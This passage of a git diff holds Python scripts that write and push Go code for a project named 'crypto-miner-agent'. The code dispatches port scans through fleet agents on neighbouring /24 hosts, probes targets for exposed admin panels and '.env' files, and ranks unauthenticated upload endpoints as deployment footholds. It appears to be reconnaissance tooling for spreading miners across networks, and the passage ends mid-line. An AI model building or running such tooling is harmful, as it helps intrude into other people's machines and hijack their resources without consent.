TestReconRelayScanLocalPath(t *testing.T) { + recon.SetHostReachableHook(func(host string) bool { return true }) + t.Cleanup(func() { recon.SetHostReachableHook(nil) }) + recon.SetPortDialHook(func(host string, port int, _ time.Duration) bool { return port == 22 }) + t.Cleanup(func() { recon.SetPortDialHook(nil) }) + + h := NewReconHandler(nil, nil) + body, _ := json.Marshal(map[string]interface{}{"host": "10.0.0.10"}) + req := httptest.NewRequest(http.MethodPost, "/api/v1/recon/relay-scan", bytes.NewReader(body)) + w := httptest.NewRecorder() + h.RelayScan(w, req) + if w.Code != http.StatusOK { + t.Fatalf("status=%d body=%s", w.Code, w.Body.String()) + } + var resp map[string]interface{} + if err := json.Unmarshal(w.Body.Bytes(), &resp); err != nil { + t.Fatal(err) + } + if resp["ok"] != true { + t.Fatalf("resp=%v", resp) + } +} + +func TestReconRelayScanNoRelayFallback(t *testing.T) { + recon.SetHostReachableHook(func(host string) bool { return false }) + t.Cleanup(func() { recon.SetHostReachableHook(nil) }) + + h := NewReconHandler(nil, NewWSHub(nil)) + body, _ := json.Marshal(map[string]interface{}{"host": "10.99.1.50"}) + req := httptest.NewRequest(http.MethodPost, "/api/v1/recon/relay-scan", bytes.NewReader(body)) + w := httptest.NewRecorder() + h.RelayScan(w, req) + var resp map[string]interface{} + _ = json.Unmarshal(w.Body.Bytes(), &resp) + if resp["ok"] != false || resp["error"] == nil { + t.Fatalf("resp=%v", resp) + } +} + +func TestReconRelayScanFleetRelay(t *testing.T) { + recon.SetHostReachableHook(func(host string) bool { return false }) + t.Cleanup(func() { recon.SetHostReachableHook(nil) }) + + database, err := db.New(t.TempDir()) + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = database.Close() }) + + hub := NewWSHub(database) + agentID := "relay-seed" + conn := connectTestAgentWithIP(t, hub, agentID, "10.42.1.50") + + done := make(chan struct{}) + go func() { + defer close(done) + deadline := time.Now().Add(5 * time.Second) + for time.Now().Before(deadline) { + var msg Message + if err := conn.ReadJSON(&msg); err != nil { + return + } + if msg.Type != "command" { + continue + } + var payload map[string]interface{} + if err := json.Unmarshal(msg.Payload, &payload); err != nil { + return + } + if payload["action"] != "recon_relay_scan" { + continue + } + result := `{"open_ports":[22,445],"udp_hints":[{"port":53,"open":true,"service":"dns"}]}` + cmdPayload, _ := json.Marshal(map[string]interface{}{ + "action": "recon_relay_scan", "success": true, "message": result, + }) + _ = conn.WriteJSON(Message{Type: "command_result", Payload: cmdPayload}) + return + } + }() + + h := NewReconHandler(database, hub) + body, _ := json.Marshal(map[string]interface{}{"host": "10.42.1.100", "udp_guess": true}) + req := httptest.NewRequest(http.MethodPost, "/api/v1/recon/relay-scan", bytes.NewReader(body)) + w := httptest.NewRecorder() + h.RelayScan(w, req) + + select { + case <-done: + case <-time.After(6 * time.Second): + t.Fatal("agent did not receive relay command") + } + + var resp struct { + OK bool `json:"ok"` + AgentID string `json:"agent_id"` + Report map[string]interface{} `json:"report"` + } + if err := json.Unmarshal(w.Body.Bytes(), &resp); err != nil { + t.Fatal(err) + } + if !resp.OK || resp.AgentID != agentID { + t.Fatalf("resp=%+v", resp) + } + hints, _ := resp.Report["path_tracer_hints"].([]interface{}) + if len(hints) != 1 || hints[0] != "dns" { + t.Fatalf("report=%v", resp.Report) + } +} +''' + +FILES["agent/client/recon_relay_scan_test.go"] = r'''package client + +import ( + "encoding/json" + "testing" + + "crypto-miner-agent/deploy" +) + +func TestHandleReconRelayScanCommand(t *testing.T) { + deploy.SetProbePortsHook(func(host string, ports []int) []int { + if host == "10.1.2.3" { + return []int{22, 445} + } + return nil + }) + t.Cleanup(func() { deploy.SetProbePortsHook(nil) }) + deploy.SetRelayUDPGuessHook(func(host string, ports []int) []deploy.RelayUDPHint { + return []deploy.RelayUDPHint{{Port: 51820, Open: true, Service: "wireguard"}} + }) + t.Cleanup(func() { deploy.SetRelayUDPGuessHook(nil) }) + + var gotAction string + var gotSuccess bool + var gotMsg string + c := &AgentClient{} + c.commandResultHook = func(action string, success bool, message string) { + gotAction, gotSuccess, gotMsg = action, success, message + } + + if !c.handleReconCommand("recon_relay_scan", "10.1.2.3", "true") { + t.Fatal("expected handled") + } + if gotAction != "recon_relay_scan" || !gotSuccess { + t.Fatalf("action=%s success=%v", gotAction, gotSuccess) + } + var parsed map[string]interface{} + if err := json.Unmarshal([]byte(gotMsg), &parsed); err != nil { + t.Fatal(err) + } + ports, _ := parsed["open_ports"].([]interface{}) + if len(ports) != 2 { + t.Fatalf("ports=%v", ports) + } +} + +func TestHandleReconRelayScanMissingHost(t *testing.T) { + c := &AgentClient{} + c.commandResultHook = func(action string, success bool, _ string) { + if action != "recon_relay_scan" || success { + t.Fatalf("action=%s success=%v", action, success) + } + } + if !c.handleReconCommand("recon_relay_scan", "", "") { + t.Fatal("expected handled") + } +} +''' + + +def patch_file(rel: str, old: str, new: str) -> None: + path = ROOT / rel + text = path.read_text(encoding="utf-8") + if old not in text: + if new.strip() in text: + return + raise SystemExit(f"patch miss in {rel}: {old[:60]!r}") + path.write_text(text.replace(old, new, 1), encoding="utf-8", newline="\n") + + +def main() -> None: + for rel, content in FILES.items(): + path = ROOT / rel + path.parent.mkdir(parents=True, exist_ok=True) + path.write_text(content, encoding="utf-8", newline="\n") + print("wrote", rel) + + types_path = ROOT / "server/internal/recon/types.go" + types_text = types_path.read_text(encoding="utf-8") + if "PathTracerHints" not in types_text: + types_text = types_text.replace( + "\tRelayVia string `json:\"relay_via,omitempty\"`\n" + "\tRecommendations []DeployRecommendation `json:\"recommendations,omitempty\"`\n}", + "\tRelayVia string `json:\"relay_via,omitempty\"`\n" + "\tUDPHints []UDPHint `json:\"udp_hints,omitempty\"`\n" + "\tPathTracerHints []string `json:\"path_tracer_hints,omitempty\"`\n" + "\tMessage string `json:\"message,omitempty\"`\n" + "\tRecommendations []DeployRecommendation `json:\"recommendations,omitempty\"`\n}", + 1, + ) + types_path.write_text(types_text, encoding="utf-8", newline="\n") + + scan_path = ROOT / "server/internal/recon/scan.go" + if "func NormalizeHost" not in scan_path.read_text(encoding="utf-8"): + patch_file( + "server/internal/recon/scan.go", + "func Scan(req ScanRequest) (*ScanReport, error) {\n\thost, err := normalizeOwnedHost(req.Host)", + "func NormalizeHost(host string) (string, error) {\n\treturn normalizeOwnedHost(host)\n}\n\n" + "func Scan(req ScanRequest) (*ScanReport, error) {\n\thost, err := normalizeOwnedHost(req.Host)", + ) + + router_path = ROOT / "server/internal/api/router.go" + router_text = router_path.read_text(encoding="utf-8") + if '"/recon/relay-scan"' not in router_text: + patch_file( + "server/internal/api/router.go", + '\t\tr.Post("/recon/scan", reconHandler.Scan)\n', + '\t\tr.Post("/recon/scan", reconHandler.Scan)\n\t\tr.Post("/recon/relay-scan", reconHandler.RelayScan)\n', + ) + + cmd_path = ROOT / "agent/client/commands_common.go" + cmd_text = cmd_path.read_text(encoding="utf-8") + if "recon_relay_scan" not in cmd_text: + patch_file( + "agent/client/commands_common.go", + "func (c *AgentClient) handleReconCommand(action, command string) bool {\n", + "func (c *AgentClient) handleReconCommand(action, command, path string) bool {\n" + "\tif action == \"recon_relay_scan\" {\n" + "\t\thost := strings.TrimSpace(command)\n" + "\t\tif host == \"\" {\n" + "\t\t\tc.sendCommandResult(action, false, \"host is required in command field\")\n" + "\t\t\treturn true\n" + "\t\t}\n" + "\t\tudpGuess := strings.EqualFold(strings.TrimSpace(path), \"true\")\n" + "\t\tout, err := deploy.RunRelayScanJSON(host, udpGuess)\n" + "\t\tif err != nil {\n" + "\t\t\tc.sendCommandResult(action, false, err.Error())\n" + "\t\t\treturn true\n" + "\t\t}\n" + "\t\tc.sendCommandResult(action, true, out)\n" + "\t\treturn true\n" + "\t}\n", + ) + + client_path = ROOT / "agent/client/client.go" + if "handleReconCommand(action, command, path)" not in client_path.read_text(encoding="utf-8"): + patch_file( + "agent/client/client.go", + "\t\tif c.handleReconCommand(action, command) {\n", + "\t\tif c.handleReconCommand(action, command, path) {\n", + ) + + natpunch = (ROOT / "agent/deploy/natpunch.go").read_text(encoding="utf-8") + if "SetProbePortsHook" not in natpunch: + patch_file( + "agent/deploy/natpunch.go", + "var probePortsFn func(host string, ports []int) []int\n\nfunc probePorts", + "var probePortsFn func(host string, ports []int) []int\n\n" + "func SetProbePortsHook(fn func(host string, ports []int) []int) { probePortsFn = fn }\n\n" + "func probePorts", + ) + + print("patches applied") + + +def run(cmd: list[str], cwd: Path | None = None) -> None: + print("+", " ".join(cmd)) + subprocess.run(cmd, cwd=cwd or ROOT, check=True) + + +def main_and_ship() -> None: + main() + + paths = [ + "server/internal/recon/relay_scan.go", + "server/internal/recon/relay_scan_test.go", + "server/internal/recon/types.go", + "server/internal/recon/scan.go", + "server/internal/api/recon_relay_scan.go", + "server/internal/api/recon_relay_scan_test.go", + "server/internal/api/router.go", + "agent/deploy/relay_scan.go", + "agent/deploy/natpunch.go", + "agent/client/commands_common.go", + "agent/client/client.go", + "agent/client/recon_relay_scan_test.go", + "server/web/src/types/recon.ts", + ] + for rel in paths: + if not (ROOT / rel).exists(): + raise SystemExit(f"missing before commit: {rel}") + + run(["git", "add", *paths]) + msg = ( + "Recon network batch 2: fleet relay scan and UDP hints.\n\n" + "POST /api/v1/recon/relay-scan probes from the dashboard when reachable, " + "otherwise dispatches recon_relay_scan to a same-/24 online agent. " + "Agents reuse probePortsFn for TCP and optionally UDP 53/51820 with " + "dns/wireguard Path Tracer tags." + ) + run(["git", "commit", "-m", msg]) + run(["git", "push", "origin", "HEAD"]) + out = subprocess.check_output(["git", "rev-parse", "HEAD"], cwd=ROOT, text=True).strip() + print("COMMIT_HASH=" + out) + + +if __name__ == "__main__": + # Include agent relay_scan.go in FILES if missing above + FILES.setdefault( + "agent/deploy/relay_scan.go", + (ROOT / "agent/deploy/relay_scan.go").read_text(encoding="utf-8") + if (ROOT / "agent/deploy/relay_scan.go").exists() + else r'''package deploy + +import ( + "encoding/json" + "net" + "strconv" + "strings" + "time" +) + +var RelayScanUDPPorts = []int{53, 51820} + +type RelayScanResult struct { + Host string `json:"host"` + OpenPorts []int `json:"open_ports"` + UDPHints []RelayUDPHint `json:"udp_hints,omitempty"` +} + +type RelayUDPHint struct { + Port int `json:"port"` + Open bool `json:"open"` + Service string `json:"service"` +} + +var udpGuessPortsFn func(host string, ports []int) []RelayUDPHint + +func SetRelayUDPGuessHook(fn func(host string, ports []int) []RelayUDPHint) { udpGuessPortsFn = fn } + +func RunRelayScan(host string, udpGuess bool) RelayScanResult { + host = strings.TrimSpace(host) + open := probePorts(host, SubnetReconPorts) + result := RelayScanResult{Host: host, OpenPorts: append([]int(nil), open...)} + if udpGuess { + result.UDPHints = guessRelayUDPPorts(host, RelayScanUDPPorts) + } + return result +} + +func RunRelayScanJSON(host string, udpGuess bool) (string, error) { + b, err := json.Marshal(RunRelayScan(host, udpGuess)) + if err != nil { + return "", err + } + return string(b), nil +} + +func guessRelayUDPPorts(host string, ports []int) []RelayUDPHint { + if udpGuessPortsFn != nil { + return udpGuessPortsFn(host, ports) + } + var out []RelayUDPHint + for _, port := range ports { + out = append(out, RelayUDPHint{Port: port, Open: probeRelayUDPQuick(host, port), Service: relayUDPServiceLabel(port)}) + } + return out +} + +func relayUDPServiceLabel(port int) string { + switch port { + case 53: + return "dns" + case 51820: + return "wireguard" + default: + return "" + } +} + +func probeRelayUDPQuick(host string, port int) bool { + conn, err := net.DialTimeout("udp", net.JoinHostPort(host, strconv.Itoa(port)), 800*time.Millisecond) + if err != nil { + return false + } + defer conn.Close() + _ = conn.SetDeadline(time.Now().Add(800 * time.Millisecond)) + if b := relayUDPProbePayload(port); len(b) > 0 { + _, _ = conn.Write(b) + } + buf := make([]byte, 512) + n, err := conn.Read(buf) + return err == nil && n > 0 +} + +func relayUDPProbePayload(port int) []byte { + switch port { + case 53: + return []byte{0x00, 0x01, 0x01, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x07, 'v', 'e', 'r', 's', 'i', 'o', 'n', 0x04, 'b', 'i', 'n', 'd', 0x00, 0x00, 0x10, 0x00, 0x03} + case 51820: + return []byte{0x01, 0x00, 0x00, 0x00} + default: + return nil + } +} +''', + ) + + recon_ts = ROOT / "server/web/src/types/recon.ts" + text = recon_ts.read_text(encoding="utf-8") + if "relay_via?:" not in text: + text = text.replace( + " crawl?: ReconCrawlReport;\n recommendations?: ReconDeployRecommendation[];\n}", + " crawl?: ReconCrawlReport;\n relay_via?: string;\n" + " udp_hints?: { port: number; open: boolean; service?: string }[];\n" + " path_tracer_hints?: string[];\n message?: string;\n" + " recommendations?: ReconDeployRecommendation[];\n}", + 1, + ) + recon_ts.write_text(text, encoding="utf-8", newline="\n") + + try: + main_and_ship() + except subprocess.CalledProcessError as exc: + sys.exit(exc.returncode) diff --git a/scripts/commit-recon-crawl-batch2.py b/scripts/commit-recon-crawl-batch2.py new file mode 100644 index 0000000..d0ccfe4 --- /dev/null +++ b/scripts/commit-recon-crawl-batch2.py @@ -0,0 +1,685 @@ +#!/usr/bin/env python3 +"""Write recon crawl batch 2 (upload hunter + admin surface), test, commit, push.""" +import subprocess +import sys +from pathlib import Path + +ROOT = Path(__file__).resolve().parents[1] + +ADMIN_SURFACE = r'''package recon + +import ( + "fmt" + "net/http" + "sort" + "strings" +) + +var adminSurfacePaths = []string{ + "/wp-admin", + "/wp-admin/", + "/admin", + "/admin/", + "/admin/login", + "/administrator", + "/api", + "/api/", + "/api/v1", + "/graphql", + "/graphql/", + "/swagger", + "/swagger/", + "/swagger/index.html", + "/swagger-ui", + "/swagger-ui/", + "/actuator", + "/actuator/", + "/actuator/health", + "/.env", + "/.env.local", + "/server-status", + "/server-status/", +} + +func ProbeAdminSurface(host string, port int, scheme string) []AdminSurfaceFinding { + scheme = normalizeScheme(scheme, port) + if port <= 0 { + port = defaultPortForScheme(scheme) + } + base := fmt.Sprintf("%s://%s", scheme, joinHostPort(host, port)) + + seen := map[string]bool{} + var out []AdminSurfaceFinding + for _, path := range adminSurfacePaths { + key := strings.ToLower(path) + if seen[key] { + continue + } + seen[key] = true + + rawURL := strings.TrimRight(base, "/") + path + status, _, err := fetchPage(rawURL) + if err != nil { + continue + } + signal := adminSurfaceSignal(status) + if signal == "" { + continue + } + out = append(out, AdminSurfaceFinding{ + Path: path, + URL: rawURL, + StatusCode: status, + Signal: signal, + }) + } + + sort.Slice(out, func(i, j int) bool { + if out[i].Signal != out[j].Signal { + return out[i].Signal == "green" + } + return out[i].Path < out[j].Path + }) + return out +} + +func adminSurfaceSignal(status int) string { + switch status { + case http.StatusOK: + return "green" + case http.StatusUnauthorized, http.StatusForbidden: + return "gray" + default: + return "" + } +} +''' + +UPLOAD_HUNTER = r'''package recon + +import ( + "net/url" + "regexp" + "sort" + "strings" +) + +var ( + openUploadPathRe = regexp.MustCompile(`(?i)(/api/[^\s"'` + "`" + r`<>]*upload|/upload[^\s"'` + "`" + r`<>]*|/v\d+/upload)`) + dragDropClassRe = regexp.MustCompile(`(?i)(dropzone|drop-zone|file-drop|drag-drop|fileupload)`) + jsUploadHintRe = regexp.MustCompile(`(?i)(multipart/form-data|formdata\s*\(|type\s*:\s*['"]file['"]|/api/[^\s"'` + "`" + r`<>]*upload|\.upload\s*\(|dropzone)`) +) + +func collectUploadFromPage(pageURL string, fileInputs, multipart []FormFinding) []UploadHunterFinding { + var out []UploadHunterFinding + for _, f := range fileInputs { + if !f.HasFile { + continue + } + out = append(out, UploadHunterFinding{ + PageURL: pageURL, + Target: resolveUploadTarget(pageURL, f.Action), + Source: "file_input", + Method: f.Method, + }) + } + for _, f := range multipart { + if !f.Multipart { + continue + } + out = append(out, UploadHunterFinding{ + PageURL: pageURL, + Target: resolveUploadTarget(pageURL, f.Action), + Source: "multipart", + Method: f.Method, + }) + } + return out +} + +func detectDragDropZones(pageURL, body string) []UploadHunterFinding { + root, err := htmlParseRoot(body) + if err != nil { + return detectDragDropFromText(pageURL, body) + } + var out []UploadHunterFinding + var walk func(*htmlNode) + walk = func(n *htmlNode) { + if n.tag != "" { + cls := strings.ToLower(n.attr("class")) + id := strings.ToLower(n.attr("id")) + dropAttr := strings.ToLower(n.attr("data-dropzone")) + if dragDropClassRe.MatchString(cls) || dragDropClassRe.MatchString(id) || dropAttr != "" { + target := n.attr("data-upload-url") + if target == "" { + target = n.attr("action") + } + out = append(out, UploadHunterFinding{ + PageURL: pageURL, + Target: resolveUploadTarget(pageURL, target), + Source: "drag_drop", + }) + } + } + for _, c := range n.children { + walk(c) + } + } + walk(root) + if len(out) == 0 { + return detectDragDropFromText(pageURL, body) + } + return out +} + +func detectDragDropFromText(pageURL, body string) []UploadHunterFinding { + lower := strings.ToLower(body) + if !strings.Contains(lower, "dropzone") && !strings.Contains(lower, "drag") { + return nil + } + if !strings.Contains(lower, "upload") && !strings.Contains(lower, "file") { + return nil + } + return []UploadHunterFinding{{ + PageURL: pageURL, + Source: "drag_drop", + }} +} + +func extractScriptSrc(pageURL, body string) []string { + root, err := htmlParseRoot(body) + if err != nil { + return nil + } + var srcs []string + var walk func(*htmlNode) + walk = func(n *htmlNode) { + if n.tag == "script" { + if src := strings.TrimSpace(n.attr("src")); src != "" { + srcs = append(srcs, src) + } + } + for _, c := range n.children { + walk(c) + } + } + walk(root) + _ = pageURL + return srcs +} + +func scanJSForUpload(jsURL, body string) []UploadHunterFinding { + if !jsUploadHintRe.MatchString(body) { + return nil + } + target := jsURL + if m := openUploadPathRe.FindString(body); m != "" { + target = m + } + return []UploadHunterFinding{{ + PageURL: jsURL, + Target: target, + Source: "js", + }} +} + +func isScriptAsset(ref string) bool { + ref = strings.ToLower(strings.TrimSpace(ref)) + return strings.HasSuffix(ref, ".js") || strings.Contains(ref, ".js?") +} + +func resolveUploadTarget(pageURL, action string) string { + action = strings.TrimSpace(action) + if action == "" { + if u, err := url.Parse(pageURL); err == nil { + return u.Path + } + return pageURL + } + if strings.HasPrefix(action, "http://") || strings.HasPrefix(action, "https://") { + return action + } + if abs, err := resolveSameOrigin(pageURL, action); err == nil { + return abs + } + return action +} + +func rankUploadFindings(base string, in []UploadHunterFinding) []UploadHunterFinding { + if len(in) == 0 { + return nil + } + seen := map[string]UploadHunterFinding{} + for _, f := range in { + key := strings.ToLower(f.PageURL + "|" + f.Target + "|" + f.Source) + if prev, ok := seen[key]; ok { + if scoreUploadFinding(f) > scoreUploadFinding(prev) { + seen[key] = f + } + continue + } + seen[key] = f + } + out := make([]UploadHunterFinding, 0, len(seen)) + for _, f := range seen { + f = tagUploadFinding(base, f) + f.Score = scoreUploadFinding(f) + out = append(out, f) + } + sort.Slice(out, func(i, j int) bool { + if out[i].Score != out[j].Score { + return out[i].Score > out[j].Score + } + return out[i].Target < out[j].Target + }) + return out +} + +func tagUploadFinding(base string, f UploadHunterFinding) UploadHunterFinding { + target := f.Target + if target == "" { + target = f.PageURL + } + path := target + if u, err := url.Parse(target); err == nil && u.Path != "" { + path = u.Path + } + if openUploadPathRe.MatchString(path) || openUploadPathRe.MatchString(target) { + f.Tags = appendUniqueTag(f.Tags, "open_api") + } + probeURL := target + if !strings.HasPrefix(probeURL, "http://") && !strings.HasPrefix(probeURL, "https://") { + if abs, err := resolveSameOrigin(base, probeURL); err == nil { + probeURL = abs + } else { + probeURL = strings.TrimRight(base, "/") + "/" + strings.TrimLeft(probeURL, "/") + } + } + status, _, err := fetchPage(probeURL) + if err == nil { + f.StatusCode = status + if status == 200 { + f.Tags = appendUniqueTag(f.Tags, "no_auth") + } + } + return f +} + +func scoreUploadFinding(f UploadHunterFinding) int { + score := 10 + switch f.Source { + case "multipart": + score += 30 + case "file_input": + score += 25 + case "drag_drop": + score += 20 + case "js": + score += 15 + } + for _, tag := range f.Tags { + switch tag { + case "no_auth": + score += 40 + case "open_api": + score += 25 + } + } + if f.StatusCode == 200 { + score += 10 + } + return score +} + +func appendUniqueTag(tags []string, tag string) []string { + for _, t := range tags { + if t == tag { + return tags + } + } + return append(tags, tag) +} +''' + +TEST_APPEND = r''' + +func TestUploadHunterMultipartAndJS(t *testing.T) { + srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + switch r.URL.Path { + case "/": + w.Write([]byte(` + "`" + r` +
+ +
+
+ +` + "`" + r`)) + case "/static/upload.js": + w.Header().Set("Content-Type", "application/javascript") + w.Write([]byte(` + "`" + r`fetch("/api/upload",{method:"POST",body:new FormData()})` + "`" + r`)) + case "/api/upload": + w.WriteHeader(http.StatusOK) + default: + http.NotFound(w, r) + } + })) + defer srv.Close() + + u, err := url.Parse(srv.URL) + if err != nil { + t.Fatal(err) + } + port := 80 + if p := u.Port(); p != "" { + port = atoi(p) + } + + SetFetchPageHook(func(rawURL string) (int, string, error) { + resp, err := http.Get(rawURL) + if err != nil { + return 0, "", err + } + defer resp.Body.Close() + body, _ := readBodyLimited(resp.Body, maxHTMLBytes) + return resp.StatusCode, body, nil + }) + t.Cleanup(func() { SetFetchPageHook(nil) }) + + report, err := Crawl(u.Hostname(), port, u.Scheme, []string{"/"}) + if err != nil { + t.Fatal(err) + } + if len(report.UploadHunter) == 0 { + t.Fatal("expected upload hunter findings") + } + if report.UploadHunter[0].Score <= 0 { + t.Fatalf("score=%d", report.UploadHunter[0].Score) + } + hasOpenAPI := false + hasNoAuth := false + for _, f := range report.UploadHunter { + for _, tag := range f.Tags { + if tag == "open_api" { + hasOpenAPI = true + } + if tag == "no_auth" { + hasNoAuth = true + } + } + } + if !hasOpenAPI { + t.Fatalf("missing open_api tag: %+v", report.UploadHunter) + } + if !hasNoAuth { + t.Fatalf("missing no_auth tag: %+v", report.UploadHunter) + } +} + +func TestProbeAdminSurfaceSignals(t *testing.T) { + srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + switch r.URL.Path { + case "/admin", "/admin/": + w.WriteHeader(http.StatusForbidden) + case "/graphql", "/graphql/": + w.WriteHeader(http.StatusUnauthorized) + case "/swagger", "/swagger/": + w.WriteHeader(http.StatusOK) + w.Write([]byte("swagger-ui")) + default: + http.NotFound(w, r) + } + })) + defer srv.Close() + + u, err := url.Parse(srv.URL) + if err != nil { + t.Fatal(err) + } + port := 80 + if p := u.Port(); p != "" { + port = atoi(p) + } + + SetFetchPageHook(func(rawURL string) (int, string, error) { + resp, err := http.Get(rawURL) + if err != nil { + return 0, "", err + } + defer resp.Body.Close() + body, _ := readBodyLimited(resp.Body, maxHTMLBytes) + return resp.StatusCode, body, nil + }) + t.Cleanup(func() { SetFetchPageHook(nil) }) + + findings := ProbeAdminSurface(u.Hostname(), port, u.Scheme) + byPath := map[string]string{} + for _, f := range findings { + byPath[f.Path] = f.Signal + } + if byPath["/admin"] != "gray" && byPath["/admin/"] != "gray" { + t.Fatalf("admin signal=%v", byPath) + } + if byPath["/graphql"] != "gray" && byPath["/graphql/"] != "gray" { + t.Fatalf("graphql signal=%v", byPath) + } + if byPath["/swagger"] != "green" && byPath["/swagger/"] != "green" { + t.Fatalf("swagger signal=%v", byPath) + } +} + +func TestScanReportIncludesAdminSurfaceJSON(t *testing.T) { + SetPortDialHook(func(host string, port int, _ time.Duration) bool { + return port == 80 + }) + t.Cleanup(func() { SetPortDialHook(nil) }) + + srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + switch r.URL.Path { + case "/": + w.Write([]byte(` + "`" + r`
` + "`" + r`)) + case "/api/upload": + w.WriteHeader(http.StatusOK) + case "/admin", "/admin/": + w.WriteHeader(http.StatusForbidden) + default: + http.NotFound(w, r) + } + })) + defer srv.Close() + + u, _ := url.Parse(srv.URL) + port := 80 + if p := u.Port(); p != "" { + port = atoi(p) + } + + SetFetchPageHook(func(rawURL string) (int, string, error) { + resp, err := http.Get(rawURL) + if err != nil { + return 0, "", err + } + defer resp.Body.Close() + body, _ := readBodyLimited(resp.Body, maxHTMLBytes) + return resp.StatusCode, body, nil + }) + t.Cleanup(func() { SetFetchPageHook(nil) }) + + report, err := Scan(ScanRequest{Host: u.Hostname(), Port: port, Scheme: u.Scheme}) + if err != nil { + t.Fatal(err) + } + raw, err := json.Marshal(report) + if err != nil { + t.Fatal(err) + } + payload := string(raw) + if !strings.Contains(payload, `"admin_surface"`) { + t.Fatalf("missing admin_surface: %s", payload) + } + if !strings.Contains(payload, `"upload_hunter"`) { + t.Fatalf("missing upload_hunter: %s", payload) + } + if len(report.AdminSurface) == 0 { + t.Fatal("expected admin surface findings") + } + if report.Crawl == nil || len(report.Crawl.UploadHunter) == 0 { + t.Fatal("expected crawl upload hunter findings") + } +} +''' + + +def patch(path: Path, old: str, new: str) -> None: + text = path.read_text(encoding="utf-8") + if old not in text: + if new.strip() in text: + return + raise SystemExit(f"patch miss in {path}: {old[:80]!r}") + path.write_text(text.replace(old, new, 1), encoding="utf-8", newline="\n") + + +def main() -> None: + recon = ROOT / "server/internal/recon" + (recon / "admin_surface.go").write_text(ADMIN_SURFACE, encoding="utf-8", newline="\n") + (recon / "upload_hunter.go").write_text(UPLOAD_HUNTER, encoding="utf-8", newline="\n") + + types = recon / "types.go" + patch( + types, + "\tCMSFingerprints []string `json:\"cms_fingerprints,omitempty\"`\n}", + "\tCMSFingerprints []string `json:\"cms_fingerprints,omitempty\"`\n" + "\tUploadHunter []UploadHunterFinding `json:\"upload_hunter,omitempty\"`\n}", + ) + patch( + types, + "type PageFinding struct {", + "type UploadHunterFinding struct {\n" + "\tPageURL string `json:\"page_url\"`\n" + "\tTarget string `json:\"target,omitempty\"`\n" + "\tSource string `json:\"source\"`\n" + "\tMethod string `json:\"method,omitempty\"`\n" + "\tTags []string `json:\"tags,omitempty\"`\n" + "\tScore int `json:\"score\"`\n" + "\tStatusCode int `json:\"status_code,omitempty\"`\n" + "}\n\n" + "type AdminSurfaceFinding struct {\n" + "\tPath string `json:\"path\"`\n" + "\tURL string `json:\"url\"`\n" + "\tStatusCode int `json:\"status_code\"`\n" + "\tSignal string `json:\"signal\"`\n" + "}\n\n" + "type PageFinding struct {", + ) + patch( + types, + "\tCrawl *CrawlReport `json:\"crawl,omitempty\"`\n" + "\tRecommendations []DeployRecommendation `json:\"recommendations,omitempty\"`\n}", + "\tCrawl *CrawlReport `json:\"crawl,omitempty\"`\n" + "\tAdminSurface []AdminSurfaceFinding `json:\"admin_surface,omitempty\"`\n" + "\tRecommendations []DeployRecommendation `json:\"recommendations,omitempty\"`\n}", + ) + + scan = recon / "scan.go" + patch( + scan, + "\t\tif err == nil && crawl != nil {\n" + "\t\t\treport.Crawl = crawl\n" + "\t\t}\n" + "\t}", + "\t\tif err == nil && crawl != nil {\n" + "\t\t\treport.Crawl = crawl\n" + "\t\t}\n" + "\t\treport.AdminSurface = ProbeAdminSurface(host, req.Port, req.Scheme)\n" + "\t}", + ) + patch( + scan, + "\t\tif len(crawl.FileInputs) > 0 || len(crawl.MultipartForms) > 0 {", + "\t\tif len(crawl.FileInputs) > 0 || len(crawl.MultipartForms) > 0 || len(crawl.UploadHunter) > 0 {", + ) + + crawl = recon / "crawl.go" + patch( + crawl, + "\treport := &CrawlReport{}\n\tvisited := map[string]bool{}", + "\treport := &CrawlReport{}\n\tvar uploadRaw []UploadHunterFinding\n\tvar jsQueue []string\n\tjsSeen := map[string]bool{}\n\tvisited := map[string]bool{}", + ) + patch( + crawl, + "\t\treport.CMSFingerprints = mergeCMS(report.CMSFingerprints, cms)\n\n\t\tif item.depth >= DefaultCrawlDepth {", + "\t\treport.CMSFingerprints = mergeCMS(report.CMSFingerprints, cms)\n" + "\t\tuploadRaw = append(uploadRaw, collectUploadFromPage(item.url, files, multi)...)\n" + "\t\tuploadRaw = append(uploadRaw, detectDragDropZones(item.url, body)...)\n\n" + "\t\tif item.depth <= DefaultCrawlDepth {\n" + "\t\t\tfor _, src := range extractScriptSrc(item.url, body) {\n" + "\t\t\t\tabs, err := resolveSameOrigin(base, src)\n" + "\t\t\t\tif err != nil || !sameOrigin(base, abs) || !isScriptAsset(src) {\n" + "\t\t\t\t\tcontinue\n" + "\t\t\t\t}\n" + "\t\t\t\tlkey := normalizeURLKey(abs)\n" + "\t\t\t\tif jsSeen[lkey] {\n" + "\t\t\t\t\tcontinue\n" + "\t\t\t\t}\n" + "\t\t\t\tjsSeen[lkey] = true\n" + "\t\t\t\tjsQueue = append(jsQueue, abs)\n" + "\t\t\t}\n" + "\t\t}\n\n\t\tif item.depth >= DefaultCrawlDepth {", + ) + patch( + crawl, + "\treport.CMSFingerprints = mergeCMS(nil, report.CMSFingerprints)\n\treturn report, nil", + "\treport.CMSFingerprints = mergeCMS(nil, report.CMSFingerprints)\n\n" + "\tmaxJS := 20\n" + "\tif len(jsQueue) > maxJS {\n" + "\t\tjsQueue = jsQueue[:maxJS]\n" + "\t}\n" + "\tfor _, jsURL := range jsQueue {\n" + "\t\t_, jsBody, err := fetchPage(jsURL)\n" + "\t\tif err != nil {\n" + "\t\t\tcontinue\n" + "\t\t}\n" + "\t\tuploadRaw = append(uploadRaw, scanJSForUpload(jsURL, jsBody)...)\n" + "\t}\n" + "\treport.UploadHunter = rankUploadFindings(base, uploadRaw)\n\treturn report, nil", + ) + + test = recon / "recon_test.go" + text = test.read_text(encoding="utf-8") + if "TestUploadHunterMultipartAndJS" not in text: + marker = "func containsStr(list []string, want string) bool {" + if marker not in text: + raise SystemExit("recon_test.go marker missing") + text = text.replace(marker, TEST_APPEND + "\n" + marker, 1) + test.write_text(text, encoding="utf-8", newline="\n") + + print("files written") + + +def run(cmd: list[str], cwd: Path | None = None) -> None: + print("+", " ".join(cmd)) + subprocess.run(cmd, cwd=cwd or ROOT, check=True) + + +if __name__ == "__main__": + subprocess.run(["git", "checkout", "HEAD", "--", "server/internal/recon/"], 